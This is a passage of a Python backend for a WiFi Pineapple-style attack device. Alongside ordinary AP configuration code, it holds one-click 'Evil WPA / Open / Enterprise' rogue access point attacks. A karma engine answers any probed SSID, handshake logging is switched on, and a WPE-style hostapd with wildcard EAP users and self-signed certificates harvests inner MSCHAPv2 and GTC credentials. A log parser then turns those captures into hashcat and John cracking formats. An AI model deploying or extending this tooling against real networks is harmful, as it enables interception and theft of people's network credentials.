k, _, v = line.partition('=')
|
|
cfg[k.rsplit('.', 1)[-1]] = v.strip("'")
|
|
return cfg
|
|
|
|
|
|
def _uci_wifi_iface(name):
|
|
return _uci_values('wireless.%s' % name)
|
|
|
|
|
|
BAND_2G = '2.4'
|
|
BAND_5G = '5'
|
|
BAND_6G = '6'
|
|
|
|
CHANNEL_BANDS = {
|
|
BAND_2G: list(range(1, 15)),
|
|
BAND_5G: list(range(36, 178)),
|
|
BAND_6G: list(range(181, 234, 4)),
|
|
}
|
|
DFS_CHANNELS = frozenset([52, 56, 60, 64, 100, 104, 108, 112, 116, 120,
|
|
124, 128, 132, 136, 140, 144])
|
|
|
|
|
|
_last_reconcile = 0.0
|
|
|
|
|
|
def channel_band(ch):
|
|
if ch is None:
|
|
return None
|
|
try:
|
|
ch = int(ch)
|
|
except (TypeError, ValueError):
|
|
return None
|
|
if 1 <= ch <= 14:
|
|
return BAND_2G
|
|
if 36 <= ch <= 177:
|
|
return BAND_5G
|
|
if 177 < ch <= 233 and (ch - 1) % 4 == 0:
|
|
return BAND_6G
|
|
return None
|
|
|
|
|
|
def channel_freq(band, ch):
|
|
if band == BAND_2G:
|
|
return 2412 + (ch - 1) * 5
|
|
if band == BAND_5G:
|
|
return 5180 + (ch - 36) * 5
|
|
if band == BAND_6G:
|
|
return 5955 + (ch - 1) * 5
|
|
return None
|
|
|
|
|
|
def band_htmode(band):
|
|
return {BAND_2G: 'HT20', BAND_5G: 'VHT80', BAND_6G: 'HE80'}.get(band)
|
|
|
|
|
|
def band_radio(band):
|
|
return 'radio0' if band == BAND_2G else 'radio1'
|
|
|
|
|
|
def _uci_section(section):
|
|
return _uci_values(section)
|
|
|
|
|
|
def _ap_iface_dict(cfg, radio_cfg, pool=None):
|
|
"""Normalize one wifi-iface UCI dict into the API shape used by the UI."""
|
|
channel = cfg.get('channel') or ''
|
|
try:
|
|
channel = int(channel)
|
|
except (TypeError, ValueError):
|
|
channel = None
|
|
if channel is None:
|
|
# An AP without its own channel broadcasts on the radio's channel.
|
|
try:
|
|
channel = int((radio_cfg or {}).get('channel') or '')
|
|
except (TypeError, ValueError):
|
|
channel = None
|
|
encryption = cfg.get('encryption') or ''
|
|
if encryption.startswith('psk2'):
|
|
encryption = 'psk2'
|
|
elif encryption.startswith('sae'):
|
|
encryption = 'sae'
|
|
elif encryption.startswith('owe'):
|
|
encryption = 'owe'
|
|
elif encryption.startswith('wpa2'):
|
|
encryption = 'wpa2'
|
|
elif encryption.startswith('wpa3'):
|
|
encryption = 'wpa3'
|
|
return {
|
|
'enabled': cfg.get('disabled') == '0',
|
|
'ssid': cfg.get('ssid') or '',
|
|
'hidden': cfg.get('hidden') == '1',
|
|
'channel': channel,
|
|
'country': (radio_cfg or {}).get('country') or '',
|
|
'enctype': encryption,
|
|
'passphrase': cfg.get('key') or '',
|
|
'bssid': cfg.get('macaddr') or '',
|
|
'target': (pool or {}).get('target') or None,
|
|
}
|
|
|
|
|
|
def _radio_dict(name):
|
|
cfg = _uci_wifi_iface(name) or {}
|
|
return {
|
|
'band': {'2g': BAND_2G, '5g': BAND_5G, '6g': BAND_6G}.get(
|
|
cfg.get('band'), None),
|
|
'channel': cfg.get('channel') or 'auto',
|
|
'htmode': cfg.get('htmode') or '',
|
|
'country': cfg.get('country') or '',
|
|
'disabled': cfg.get('disabled') == '1',
|
|
}
|
|
|
|
|
|
def _iface_live(name):
|
|
return os.path.exists('/sys/class/net/%s' % name)
|
|
|
|
|
|
def h_pineap_wifi_get_ap(ctx):
|
|
global _last_reconcile
|
|
|
|
pool = _uci_section('pineapd.@ssidpool[0]')
|
|
radio0_cfg = _uci_wifi_iface('radio0')
|
|
radio1_cfg = _uci_wifi_iface('radio1')
|
|
open_cfg = _uci_wifi_iface('wlan0open')
|
|
wpa_cfg = _uci_wifi_iface('wlan0wpa')
|
|
r1_open_cfg = _uci_wifi_iface('wlan1open')
|
|
r1_wpa_cfg = _uci_wifi_iface('wlan1wpa')
|
|
status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
|
|
host = data if status == 200 and isinstance(data, dict) else {}
|
|
status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config')
|
|
pinecfg = data2 if status2 == 200 and isinstance(data2, dict) else {}
|
|
for name in ('wlan1open', 'wlan1wpa'):
|
|
cfg = _uci_wifi_iface(name)
|
|
if cfg and cfg.get('disabled') != '1' and not _iface_live(name):
|
|
if time.time() - _last_reconcile > 30:
|
|
_last_reconcile = time.time()
|
|
device_run(['wifi', 'reload'])
|
|
break
|
|
ent = _ent_summary(detail=False)
|
|
return 200, {
|
|
'open': _ap_iface_dict(open_cfg, radio0_cfg, pool),
|
|
'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg),
|
|
'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg),
|
|
'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg),
|
|
'enterprise': {
|
|
'enabled': ent['enabled'],
|
|
'ssid': ent['ssid'],
|
|
'enctype': ent['enctype'],
|
|
'passphrase': '',
|
|
'hidden': False,
|
|
'channel': ent['channel'],
|
|
'live': ent['live'],
|
|
},
|
|
'pool': {'disabled': pool.get('disable') == '1',
|
|
'collecting': bool(pinecfg.get('autossidpool')),
|
|
'broadcast_blocked': True},
|
|
'radios': {
|
|
'radio0': _radio_dict('radio0'),
|
|
'radio1': _radio_dict('radio1'),
|
|
},
|
|
'pineape': {
|
|
'enabled': not host.get('pineape_disabled', True),
|
|
'auth_pass': bool(host.get('pineape_auth_pass')),
|
|
},
|
|
}
|
|
|
|
|
|
def _apply_open_radio(openap):
|
|
"""Persist the Open AP's radio channel/country to wireless.radio0. The
|
|
daemon's iface-level channel write does not affect the actual radio, so
|
|
apply channel/country here and reload wifi when they change."""
|
|
changed = False
|
|
radio = _uci_wifi_iface('radio0') or {}
|
|
for key in ('channel', 'country'):
|
|
value = openap.get(key)
|
|
if value is None:
|
|
continue
|
|
if str(value) != (radio.get(key) or ''):
|
|
device_run(['uci', 'set', 'wireless.radio0.%s=%s' % (key, value)])
|
|
changed = True
|
|
if changed:
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
device_run(['wifi', 'reload'])
|
|
|
|
|
|
def _open_channel(value):
|
|
if value is None:
|
|
return 1
|
|
try:
|
|
return int(value)
|
|
except (TypeError, ValueError):
|
|
return 1
|
|
|
|
|
|
def _freq_to_channel(freq):
|
|
try:
|
|
freq = int(freq)
|
|
except (TypeError, ValueError):
|
|
return None
|
|
if 2412 <= freq <= 2484:
|
|
return (freq - 2412) // 5 + 1
|
|
if 5180 <= freq <= 5885:
|
|
return (freq - 5180) // 5 + 36
|
|
if 5955 <= freq <= 7115:
|
|
return (freq - 5955) // 5 + 1
|
|
return None
|
|
|
|
|
|
def _best_channel_for(ssid):
|
|
"""Resolve an 'auto' attack channel: the channel the target SSID was
|
|
last seen on in recon, else None (caller falls back to defaults)."""
|
|
if not ssid:
|
|
return None
|
|
hex_ssid = ssid.encode('utf-8').hex()
|
|
try:
|
|
rows = _db_rows(RECON_DB,
|
|
"SELECT channel, freq FROM ssid WHERE type = 8 "
|
|
"AND ssid = X'%s' ORDER BY time DESC LIMIT 1"
|
|
% hex_ssid, timeout=20)
|
|
except RuntimeError:
|
|
return None
|
|
if not rows:
|
|
return None
|
|
channel = rows[0].get('channel')
|
|
if channel is not None:
|
|
try:
|
|
channel = int(channel)
|
|
if 1 <= channel <= 233:
|
|
return channel
|
|
except (TypeError, ValueError):
|
|
pass
|
|
return _freq_to_channel(rows[0].get('freq'))
|
|
|
|
|
|
def _read_hop():
|
|
rc, out, err = device_run(['uci', 'get', 'pineapd.wlan1mon.hop'])
|
|
if rc != 0:
|
|
return None
|
|
return out.strip()
|
|
|
|
|
|
def _pause_hop():
|
|
if _read_hop() != '0':
|
|
device_run(['uci', 'set', 'pineapd.wlan1mon.hop=0'])
|
|
device_run(['uci', 'commit', 'pineapd'])
|
|
device_run(['/etc/init.d/pineapd', 'reload'])
|
|
|
|
|
|
def _resume_hop():
|
|
"""Undo a Mark VIII hop pause without fighting a live Pager hop enable."""
|
|
wanted = '1'
|
|
snap = load_pager_snapshot()
|
|
if snap:
|
|
hop = (snap.get('uci') or {}).get('pineapd.wlan1mon.hop')
|
|
if hop is not None:
|
|
wanted = hop
|
|
current = _read_hop()
|
|
if current == wanted:
|
|
return
|
|
if current == '1' and wanted == '0':
|
|
return
|
|
device_run(['uci', 'set', 'pineapd.wlan1mon.hop=%s' % wanted])
|
|
device_run(['uci', 'commit', 'pineapd'])
|
|
device_run(['/etc/init.d/pineapd', 'reload'])
|
|
|
|
|
|
def _remove_radio1_ap():
|
|
device_run(['uci', 'delete', 'wireless.wlan1open'])
|
|
device_run(['uci', 'delete', 'wireless.wlan1wpa'])
|
|
device_run(['uci', 'set', 'wireless.radio1.channel=auto'])
|
|
device_run(['uci', 'set', 'wireless.radio1.band=5g'])
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
_resume_hop()
|
|
|
|
|
|
def _apply_radio1_ap(openap, wpa):
|
|
band = None
|
|
if openap is not None:
|
|
band = channel_band(openap.get('channel'))
|
|
iface = 'wlan1open'
|
|
if wpa is not None:
|
|
band = channel_band(wpa.get('channel'))
|
|
iface = 'wlan1wpa'
|
|
if band not in (BAND_5G, BAND_6G):
|
|
raise ValueError('radio1 AP requires a 5GHz or 6GHz channel')
|
|
if band == BAND_6G and wpa is None:
|
|
raise ValueError('6GHz open APs are not supported (6GHz requires WPA3/OWE)')
|
|
if band == BAND_6G and wpa is not None:
|
|
if (wpa.get('enctype') or 'psk2') not in ('sae', 'owe'):
|
|
raise ValueError('6GHz requires WPA3 (sae or owe)')
|
|
device_run(['uci', 'delete', 'wireless.wlan1open'])
|
|
device_run(['uci', 'delete', 'wireless.wlan1wpa'])
|
|
device_run(['uci', 'set', 'wireless.radio1.band=%s' % ('6g' if band == BAND_6G else '5g')])
|
|
ch = int(wpa.get('channel') if wpa is not None else openap.get('channel'))
|
|
device_run(['uci', 'set', 'wireless.radio1.channel=%d' % ch])
|
|
device_run(['uci', 'set', 'wireless.radio1.htmode=%s' % band_htmode(band)])
|
|
country = (wpa or openap or {}).get('country')
|
|
if country:
|
|
device_run(['uci', 'set', 'wireless.radio1.country=%s' % country])
|
|
cfg = wpa if wpa is not None else openap
|
|
device_run(['uci', 'set', 'wireless.%s=wifi-iface' % iface])
|
|
device_run(['uci', 'set', 'wireless.%s.device=radio1' % iface])
|
|
device_run(['uci', 'set', 'wireless.%s.mode=ap' % iface])
|
|
device_run(['uci', 'set', 'wireless.%s.ifname=%s' % (iface, iface)])
|
|
device_run(['uci', 'set', 'wireless.%s.disabled=0' % iface])
|
|
device_run(['uci', 'set', 'wireless.%s.ssid=%s' % (iface, cfg.get('ssid') or '')])
|
|
device_run(['uci', 'set', 'wireless.%s.hidden=%d' % (iface, 1 if cfg.get('hidden') else 0)])
|
|
device_run(['uci', 'set', 'wireless.%s.channel=%d' % (iface, int(cfg.get('channel')))])
|
|
if wpa is not None:
|
|
device_run(['uci', 'set', 'wireless.%s.encryption=%s' % (iface, wpa.get('enctype') or 'psk2')])
|
|
device_run(['uci', 'set', 'wireless.%s.key=%s' % (iface, wpa.get('passphrase') or '')])
|
|
else:
|
|
device_run(['uci', 'set', 'wireless.%s.encryption=none' % iface])
|
|
bssid = (openap or {}).get('bssid') or ''
|
|
if bssid:
|
|
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid.upper()):
|
|
raise ValueError('invalid BSSID format')
|
|
device_run(['uci', 'set', 'wireless.%s.macaddr=%s' % (iface, bssid.upper())])
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
_pause_hop()
|
|
device_run(['wifi', 'reload'])
|
|
|
|
|
|
def h_pineap_wifi_set_ap(ctx):
|
|
body = ctx.body or {}
|
|
wpa = body.get('wpa') or {}
|
|
openap = body.get('open') or {}
|
|
wpa_band = channel_band(wpa.get('channel')) if wpa.get('channel') is not None else None
|
|
open_band = channel_band(openap.get('channel')) if openap.get('channel') is not None else None
|
|
use_radio1 = wpa_band in (BAND_5G, BAND_6G) or open_band in (BAND_5G, BAND_6G)
|
|
if use_radio1:
|
|
wpa_active = (wpa_band in (BAND_5G, BAND_6G) and bool(wpa.get('enabled', True))
|
|
and wpa.get('channel') is not None)
|
|
open_active = (open_band in (BAND_5G, BAND_6G) and bool(openap.get('enabled', True))
|
|
and openap.get('channel') is not None)
|
|
wpa_present = bool(wpa.get('ssid') or wpa.get('enabled') is not None)
|
|
open_present = bool(openap.get('ssid') or openap.get('enabled') is not None)
|
|
if (wpa_present and wpa_band == BAND_2G) or (open_present and open_band == BAND_2G):
|
|
return 400, {'error': 'cannot configure 2.4GHz and radio1 APs in one request'}
|
|
if not (wpa_active or open_active):
|
|
_remove_radio1_ap()
|
|
device_run(['wifi', 'reload'])
|
|
return 200, {'ok': True}
|
|
try:
|
|
_apply_radio1_ap(openap if open_active else None,
|
|
wpa if wpa_active else None)
|
|
except ValueError as exc:
|
|
return 400, {'error': str(exc)}
|
|
return 200, {'ok': True}
|
|
if _uci_wifi_iface('wlan1open') or _uci_wifi_iface('wlan1wpa'):
|
|
_remove_radio1_ap()
|
|
device_run(['wifi', 'reload'])
|
|
configs = []
|
|
if wpa.get('ssid') or wpa.get('enabled') is not None:
|
|
configs.append({
|
|
'interface': 'wlan0wpa',
|
|
'ssid': wpa.get('ssid', ''),
|
|
'enctype': wpa.get('enctype') or 'psk2',
|
|
'enabled': bool(wpa.get('enabled', True)),
|
|
'hidden': bool(wpa.get('hidden', False)),
|
|
'key': wpa.get('passphrase') or '',
|
|
'channel': 1,
|
|
})
|
|
if openap.get('ssid') or openap.get('enabled') is not None:
|
|
configs.append({
|
|
'interface': 'wlan0open',
|
|
'ssid': openap.get('ssid', ''),
|
|
'enctype': 'none',
|
|
'enabled': bool(openap.get('enabled', True)),
|
|
'hidden': bool(openap.get('hidden', False)),
|
|
'channel': _open_channel(openap.get('channel')),
|
|
'bssid': openap.get('bssid') or '',
|
|
})
|
|
if not configs:
|
|
return 400, {'error': 'no configuration provided'}
|
|
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap', body={'configs': configs}, timeout=45)
|
|
if status != 200:
|
|
return (502 if status == 0 else status), {'error': 'daemon failed', 'detail': data}
|
|
_apply_open_radio(openap)
|
|
return 200, {'ok': True}
|
|
|
|
|
|
def h_pineap_advertise(ctx):
|
|
enable = bool((ctx.body or {}).get('enable'))
|
|
if enable:
|
|
# The SSID-pool broadcast segfaults pineapd on this firmware. Mark VIII
|
|
# never turns it on, even if the Pager UI left the UCI flag unset.
|
|
return 400, {'error': 'SSID pool broadcast is disabled on this firmware '
|
|
'(pineapd SIGSEGV crash-loop) and cannot be re-enabled'}
|
|
status, data = _daemon_proxy('POST', 'ssidpool/enable' if enable else 'ssidpool/disable', {'enable': enable})
|
|
if status == 200:
|
|
update_pineap_state(mode='advanced', advertise=enable)
|
|
return status, data
|
|
|
|
|
|
def h_pineap_collect(ctx):
|
|
enable = bool((ctx.body or {}).get('enable'))
|
|
status, data = _daemon_proxy('POST', 'ssidpool/enable_collect' if enable else 'ssidpool/disable_collect', {'enable': enable})
|
|
if status == 200:
|
|
update_pineap_state(mode='advanced', collect=enable)
|
|
return status, data
|
|
|
|
|
|
def h_pineap_interfaces(ctx):
|
|
return _daemon_proxy('PUT', 'interfaces/set_interface', ctx.body or {})
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Attacks: one-click Evil WPA / Open / Enterprise orchestration.
|
|
# Truth is always UCI + live interfaces; every write is verified by re-read.
|
|
# --------------------------------------------------------------------------
|
|
|
|
ATTACK_IFACES = {
|
|
'wpa': {'radio0': 'wlan0wpa', 'radio1': 'wlan1wpa'},
|
|
'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'},
|
|
}
|
|
|
|
# Standalone PineAPE enterprise AP (phy1). The stock daemon's enterprise
|
|
# config generation is broken on this firmware, so Mark VIII runs its own
|
|
# karma+PineAPE hostapd instance for the enterprise attack.
|
|
ENT_IFACE = 'wlan1ent'
|
|
ENT_CTRL_DIR = '/var/run/hostapd-mk8'
|
|
ENT_CONF = '/root/loot/enterprise.conf'
|
|
ENT_PIDFILE = '/var/run/hostapd-mk8.pid'
|
|
ENT_EAP_USERS = '/root/loot/eap_users'
|
|
ENT_STATE = '/root/loot/mk8_enterprise.json'
|
|
ENT_DIR = '/root/loot/enterprise'
|
|
ENT_CA_CERT = os.path.join(ENT_DIR, 'ca.pem')
|
|
ENT_SERVER_CERT = os.path.join(ENT_DIR, 'server.pem')
|
|
ENT_SERVER_KEY = os.path.join(ENT_DIR, 'server.key')
|
|
ENT_LOG = os.path.join(ENT_DIR, 'hostapd.log')
|
|
ENT_CAPTURES = os.path.join(ENT_DIR, 'captures.json')
|
|
ENT_BUNDLED_CERTS = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'certs')
|
|
_ent_log_cache = {'path': None, 'mtime': None, 'items': []}
|
|
ENT_DH_FILE = os.path.join(ENT_DIR, 'dh.pem')
|
|
STOCK_HOSTAPD_CTRL = '/var/run/hostapd'
|
|
# Hak5 karma hostapd (v2.12-devel) has no parser for these keys. Emitting
|
|
# them aborts startup ("unknown configuration item"). dh_file is also
|
|
# absent on this mbedtls build (only dh_file2 exists); PEAP uses ECDHE.
|
|
ENT_HOSTAPD_UNSUPPORTED = frozenset((
|
|
'eap_server_identity',
|
|
'eap_server_erp',
|
|
'dh_file',
|
|
))
|
|
|
|
|
|
def _band_of_channel(channel):
|
|
band = channel_band(channel)
|
|
if band is None:
|
|
raise ValueError('channel must be a 2.4, 5 or 6 GHz channel')
|
|
return band
|
|
|
|
|
|
def _set_uci(name, value):
|
|
device_run(['uci', 'set', 'wireless.%s=%s' % (name, value)])
|
|
|
|
|
|
def _enable_attack_engine():
|
|
"""Turn on the karma response engine + handshake logging."""
|
|
_daemon_proxy('PUT', 'hostapd/enable_pineap', {'enable': True})
|
|
_daemon_proxy('POST', 'mimic/enable', {'enable': True})
|
|
_daemon_proxy('PUT', 'pineap/set_config', {
|
|
'loghandshake': True,
|
|
'logpartialhandshake': True,
|
|
})
|
|
|
|
|
|
def _allow_all_ssids():
|
|
"""Set the SSID filter to deny mode (allow-by-default) so karma
|
|
responds to any probed SSID."""
|
|
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
|
|
return rc == 0
|
|
|
|
|
|
def _verify_iface(name, timeout=20.0):
|
|
"""Poll until the interface is live in /sys (hostapd applied it)."""
|
|
deadline = time.time() + timeout
|
|
while time.time() < deadline:
|
|
if os.path.exists('/sys/class/net/%s' % name):
|
|
return True
|
|
time.sleep(1.0)
|
|
return False
|
|
|
|
|
|
def _deploy_wpa_open(kind, fields):
|
|
channel = fields.get('channel')
|
|
if channel is None:
|
|
channel = _best_channel_for((fields.get('ssid') or '').strip())
|
|
if channel is None:
|
|
channel = 1
|
|
band = _band_of_channel(channel)
|
|
ssid = (fields.get('ssid') or '').strip()
|
|
if not ssid:
|
|
raise ValueError('SSID is required')
|
|
if kind == 'wpa':
|
|
passphrase = fields.get('passphrase') or ''
|
|
enctype = fields.get('enctype') or 'psk2'
|
|
if band == BAND_2G and enctype not in ('psk2', 'sae', 'owe'):
|
|
raise ValueError('invalid encryption type')
|
|
if enctype in ('psk2', 'sae') and not (8 <= len(passphrase) <= 63):
|
|
raise ValueError('passphrase must be 8-63 characters')
|
|
if band == BAND_2G:
|
|
# Enterprise shares radio0's karma surface: deploying a 2.4 attack
|
|
# turns the enterprise AP off so response behavior is predictable.
|
|
_disable_enterprise_ap()
|
|
iface = ATTACK_IFACES[kind]['radio0']
|
|
daemon_cfg = {
|
|
'interface': iface,
|
|
'ssid': ssid,
|
|
'enabled': True,
|
|
'hidden': bool(fields.get('hidden')),
|
|
'channel': int(channel or 1),
|
|
}
|
|
if kind == 'wpa':
|
|
daemon_cfg['enctype'] = enctype
|
|
daemon_cfg['key'] = fields.get('passphrase') or ''
|
|
else:
|
|
daemon_cfg['enctype'] = 'none'
|
|
bssid = (fields.get('bssid') or '').strip().upper()
|
|
if bssid:
|
|
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
|
|
raise ValueError('invalid BSSID format')
|
|
daemon_cfg['bssid'] = bssid
|
|
status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap',
|
|
body={'configs': [daemon_cfg]}, timeout=45)
|
|
if status != 200:
|
|
raise RuntimeError('daemon rejected AP config: %r' % (data,))
|
|
if kind == 'open':
|
|
_apply_open_radio({'channel': int(channel or 1),
|
|
'country': fields.get('country') or 'US'})
|
|
else:
|
|
# 5/6 GHz: radio1 feature
|
|
_remove_radio1_ap()
|
|
if kind == 'wpa':
|
|
_apply_radio1_ap(None, {
|
|
'ssid': ssid, 'passphrase': fields.get('passphrase') or '',
|
|
'enctype': enctype, 'hidden': bool(fields.get('hidden')),
|
|
'enabled': True, 'channel': int(channel),
|
|
'country': fields.get('country') or 'US',
|
|
})
|
|
iface = 'wlan1wpa'
|
|
else:
|
|
_apply_radio1_ap({
|
|
'ssid': ssid, 'hidden': bool(fields.get('hidden')),
|
|
'enabled': True, 'channel': int(channel),
|
|
'bssid': fields.get('bssid') or '',
|
|
'country': fields.get('country') or 'US',
|
|
}, None)
|
|
iface = 'wlan1open'
|
|
_enable_attack_engine()
|
|
_allow_all_ssids()
|
|
# The daemon applies AP changes asynchronously; allow a full reload cycle.
|
|
verified = _verify_iface(iface, timeout=45)
|
|
return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band,
|
|
'channel': int(channel or 1), 'auto': fields.get('channel') is None,
|
|
'verified': verified}
|
|
|
|
|
|
def _disable_enterprise_ap(resume_hop=True):
|
|
"""Tear down the standalone PineAPE enterprise AP (wlan1ent on phy1)."""
|
|
try:
|
|
with open(ENT_PIDFILE) as f:
|
|
pid = int(f.read().strip())
|
|
if os.path.exists('/proc/%d' % pid):
|
|
device_run(['kill', str(pid)], timeout=10)
|
|
except (OSError, ValueError):
|
|
pass
|
|
device_run(['iw', 'dev', ENT_IFACE, 'del'], timeout=10)
|
|
_unlink_ent_ctrl()
|
|
for p in (ENT_PIDFILE, ENT_STATE):
|
|
try:
|
|
os.unlink(p)
|
|
except OSError:
|
|
pass
|
|
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
|
|
if rc == 0 and out.strip() == ENT_IFACE:
|
|
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
|
|
device_run(['uci', 'commit', 'pineapd'])
|
|
device_run(['/etc/init.d/pineapd', 'reload'])
|
|
if resume_hop and not _radio1_ap_active():
|
|
_resume_hop()
|
|
|
|
|
|
def _ent_running():
|
|
try:
|
|
with open(ENT_PIDFILE) as f:
|
|
pid = int(f.read().strip())
|
|
return os.path.exists('/proc/%d' % pid)
|
|
except (OSError, ValueError):
|
|
return False
|
|
|
|
|
|
def _ent_ctrl(cmd, timeout=4):
|
|
rc, out, err = device_run(['hostapd_cli', '-p', ENT_CTRL_DIR, '-i', ENT_IFACE, cmd],
|
|
timeout=timeout)
|
|
return (rc, out or '')
|
|
|
|
|
|
def _ent_state_loaded():
|
|
try:
|
|
with open(ENT_STATE) as f:
|
|
return json.load(f)
|
|
except (OSError, ValueError):
|
|
return {}
|
|
|
|
|
|
def _eap_secret(value):
|
|
"""Sanitize the optional EAP user password written to hostapd's user file."""
|
|
text = re.sub(r'[\r\n\t"]', '', (value or '').strip())[:63]
|
|
return text or 'dummy'
|
|
|
|
|
|
def _eap_users_text(secret, method='any'):
|
|
"""hostapd eap_user_file: PEAP/TTLS outer + inner EAP (WPE-style wildcard).
|
|
|
|
A phase-1-only `* MSCHAPV2` file cannot complete PEAP/TTLS, so clients
|
|
never send an inner identity or MSCHAPv2 response.
|
|
"""
|
|
secret = _eap_secret(secret)
|
|
method = (method or 'any').strip().lower()
|
|
if method == 'gtc':
|
|
inner = 'GTC,TTLS-PAP,MD5'
|
|
elif method == 'mschapv2':
|
|
inner = 'MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP'
|
|
else:
|
|
inner = 'TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS-MSCHAPV2'
|
|
return (
|
|
'*\tPEAP,TTLS\n'
|
|
'*\t%s\t"%s"\t[2]\n' % (inner, secret)
|
|
)
|
|
|
|
|
|
def _mkdir(path):
|
|
try:
|
|
os.makedirs(path)
|
|
except OSError:
|
|
if not os.path.isdir(path):
|
|
raise
|
|
|
|
|
|
def _copy_file(src, dst):
|
|
with open(src, 'rb') as f:
|
|
data = f.read()
|
|
parent = os.path.dirname(dst)
|
|
if parent:
|
|
_mkdir(parent)
|
|
with open(dst, 'wb') as f:
|
|
f.write(data)
|
|
return len(data) > 0
|
|
|
|
|
|
def _ensure_ent_certs():
|
|
"""Install a server cert so PEAP/TTLS can start a TLS tunnel.
|
|
|
|
Without ca_cert/server_cert/private_key, clients never reach inner
|
|
MSCHAPv2/GTC and nothing is captured.
|
|
"""
|
|
needed = (ENT_CA_CERT, ENT_SERVER_CERT, ENT_SERVER_KEY)
|
|
have_certs = all(os.path.isfile(p) and os.path.getsize(p) > 0 for p in needed)
|
|
_mkdir(ENT_DIR)
|
|
bundled = (
|
|
('ca.pem', ENT_CA_CERT),
|
|
('server.pem', ENT_SERVER_CERT),
|
|
('server.key', ENT_SERVER_KEY),
|
|
('dh.pem', ENT_DH_FILE),
|
|
)
|
|
if not have_certs or not (os.path.isfile(ENT_DH_FILE) and os.path.getsize(ENT_DH_FILE) > 0):
|
|
if all(os.path.isfile(os.path.join(ENT_BUNDLED_CERTS, src))
|
|
for src, _dst in bundled[:3]):
|
|
try:
|
|
for src, dst in bundled:
|
|
src_path = os.path.join(ENT_BUNDLED_CERTS, src)
|
|
if os.path.isfile(src_path):
|
|
_copy_file(src_path, dst)
|
|
have_certs = all(os.path.isfile(p) and os.path.getsize(p) > 0 for p in needed)
|
|
except OSError:
|
|
pass
|
|
if have_certs:
|
|
return True
|
|
rc, _out, _err = device_run([
|
|
'openssl', 'req', '-x509', '-newkey', 'rsa:2048', '-sha256', '-days', '3650',
|
|
'-nodes', '-keyout', ENT_SERVER_KEY, '-out', ENT_SERVER_CERT,
|
|
'-subj', '/C=US/ST=Lab/O=Information Technology/CN=wifi.lab.local',
|
|
], timeout=60)
|
|
if rc == 0 and os.path.isfile(ENT_SERVER_CERT):
|
|
try:
|
|
_copy_file(ENT_SERVER_CERT, ENT_CA_CERT)
|
|
except OSError:
|
|
return False
|
|
return all(os.path.isfile(p) and os.path.getsize(p) > 0 for p in needed)
|
|
return False
|
|
|
|
|
|
def _hex_clean(value):
|
|
return re.sub(r'[^0-9A-Fa-f]', '', value or '').lower()
|
|
|
|
|
|
def _parse_ent_log(text):
|
|
"""Pull EAP identities, MSCHAPv2 challenge/response, and GTC passwords."""
|
|
items = []
|
|
if not text:
|
|
return items
|
|
|
|
def add_mschap(user, chal, resp, source='log'):
|
|
user = (user or '').strip().strip('\'"')
|
|
chal = _hex_clean(chal)
|
|
resp = _hex_clean(resp)
|
|
if not user or not chal or not resp:
|
|
return
|
|
items.append({
|
|
'kind': 'mschapv2', 'username': user, 'challenge': chal, 'response': resp,
|
|
'hashcat': _mschap_hashcat_5500(user, chal, resp),
|
|
'john': _mschap_john(user, chal, resp),
|
|
'source': source,
|
|
})
|
|
|
|
for m in re.finditer(
|
|
r"identity[:\s=]+['\"]([^'\"]+)['\"]", text, re.I):
|
|
ident = m.group(1).strip()
|
|
if ident:
|
|
items.append({'kind': 'eap-identity', 'username': ident, 'source': 'log'})
|
|
for m in re.finditer(
|
|
r"EAP-Identity[:\s]+['\"]([^'\"]+)['\"]", text, re.I):
|
|
ident = m.group(1).strip()
|
|
if ident:
|
|
items.append({'kind': 'eap-identity', 'username': ident, 'source': 'log'})
|
|
for m in re.finditer(
|
|
r'CTRL-EVENT-EAP-IDENTITY\s+(\S+)', text, re.I):
|
|
ident = m.group(1).strip().strip('\'"')
|
|
if ident:
|
|
items.append({'kind': 'eap-identity', 'username': ident, 'source': 'log'})
|
|
for m in re.finditer(
|
|
r'(?:EAP-)?GTC[:\s].*?username[:\s=]+(\S+).*?password[:\s=]+(\S+)',
|
|
text, re.I | re.S):
|
|
items.append({
|
|
'kind': 'gtc', 'username': m.group(1).strip().strip('\'"'),
|
|
'password': m.group(2).strip().strip('\'"'), 'source': 'log',
|
|
})
|
|
for m in re.finditer(
|
|
r'mschapv2:.*?username:\s*(\S+)\s+challenge:\s*([0-9A-Fa-f:]+)\s+response:\s*([0-9A-Fa-f:]+)',
|
|
text, re.I | re.S):
|
|
add_mschap(m.group(1), m.group(2), m.group(3))
|
|
for m in re.finditer(
|
|
r'hashcat NETNTLM:\s*(\S+?)::::([0-9A-Fa-f]+):([0-9A-Fa-f]+)',
|
|
text, re.I):
|
|
add_mschap(m.group(1), m.group(3), m.group(2))
|
|
for m in re.finditer(
|
|
r'(?:jtr|john) NETNTLM:\s*(\S+?):\$NETNTLM\$([0-9A-Fa-f]+)\$([0-9A-Fa-f]+)',
|
|
text, re.I):
|
|
add_mschap(m.group(1), m.group(2), m.group(3))
|
|
for m in re.finditer(
|
|
r'(\S+?):\$NETNTLM\$([0-9A-Fa-f]+)\$([0-9A-Fa-f]+)', text, re.I):
|
|
add_mschap(m.group(1), m.group(2), m.group(3))
|
|
return items
|
|
|
|
|
|
def _capture_key(item):
|
|
return (
|
|
item.get('kind') or '',
|
|
item.get('username') or '',
|
|
item.get('challenge') or '',
|
|
item.get('response') or '',
